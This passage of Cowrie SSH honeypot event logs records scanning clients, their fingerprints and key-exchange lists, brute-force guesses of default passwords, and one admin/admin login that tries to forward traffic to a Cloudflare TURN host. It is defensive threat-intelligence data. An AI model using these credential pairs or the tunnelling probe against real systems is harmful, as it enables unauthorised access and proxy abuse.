0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:14.692885Z","src_ip":"103.75.199.4","session":"feaf2dce2fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:14.967691Z","src_ip":"103.75.199.4","session":"feaf2dce2fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:16.062321Z","src_ip":"103.75.199.4","session":"feaf2dce2fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.23831558227539,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:18.203602Z","src_ip":"189.253.36.211","session":"b532ecca21f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2410d091ad2","protocol":"ssh","message":"New connection: 45.153.34.114:41258 (159.203.135.109:22) [session: f2410d091ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:18.387552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:18.394793Z","src_ip":"45.153.34.114","session":"f2410d091ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:18.477579Z","src_ip":"45.153.34.114","session":"f2410d091ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:18.749168Z","src_ip":"45.153.34.114","session":"f2410d091ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:19.834499Z","src_ip":"45.153.34.114","session":"f2410d091ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":58866,"dst_ip":"159.203.135.109","dst_port":22,"session":"f10b5492f693","protocol":"ssh","message":"New connection: 20.203.42.204:58866 (159.203.135.109:22) [session: f10b5492f693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:20.491082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:20.495648Z","src_ip":"20.203.42.204","session":"f10b5492f693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:20.670887Z","src_ip":"20.203.42.204","session":"f10b5492f693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"palace","message":"login attempt [root/palace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:21.408313Z","src_ip":"20.203.42.204","session":"f10b5492f693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:22.587825Z","src_ip":"20.203.42.204","session":"f10b5492f693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39034,"dst_ip":"159.203.135.109","dst_port":22,"session":"952721861d3c","protocol":"ssh","message":"New connection: 45.153.34.114:39034 (159.203.135.109:22) [session: 952721861d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:25.818000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:25.823459Z","src_ip":"45.153.34.114","session":"952721861d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:25.918986Z","src_ip":"45.153.34.114","session":"952721861d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:26.176004Z","src_ip":"45.153.34.114","session":"952721861d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:27.312192Z","src_ip":"45.153.34.114","session":"952721861d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43570,"dst_ip":"159.203.135.109","dst_port":22,"session":"4217b95e8940","protocol":"ssh","message":"New connection: 45.153.34.114:43570 (159.203.135.109:22) [session: 4217b95e8940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:33.756499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:33.761273Z","src_ip":"45.153.34.114","session":"4217b95e8940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:33.850758Z","src_ip":"45.153.34.114","session":"4217b95e8940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:34.110591Z","src_ip":"45.153.34.114","session":"4217b95e8940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:35.204075Z","src_ip":"45.153.34.114","session":"4217b95e8940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41216,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ada66c48873","protocol":"ssh","message":"New connection: 103.75.199.4:41216 (159.203.135.109:22) [session: 8ada66c48873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:36.437554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:36.449390Z","src_ip":"103.75.199.4","session":"8ada66c48873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:36.540632Z","src_ip":"103.75.199.4","session":"8ada66c48873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:36.813343Z","src_ip":"103.75.199.4","session":"8ada66c48873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:37.907113Z","src_ip":"103.75.199.4","session":"8ada66c48873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a646c72a2209","protocol":"ssh","message":"New connection: 45.148.10.121:46830 (10.17.0.5:22) [session: a646c72a2209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.212250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.216755Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.302971Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.562760Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.650648Z","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.760668Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.767581Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.856612Z","src_ip":"45.148.10.121","session":"a646c72a2209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46836,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cba1871ea43","protocol":"ssh","message":"New connection: 45.148.10.121:46836 (10.17.0.5:22) [session: 8cba1871ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.941496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:40.945795Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.033499Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.296543Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.386209Z","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.475108Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.478812Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:41.572390Z","src_ip":"45.148.10.121","session":"8cba1871ea43","protocol":"ssh"}
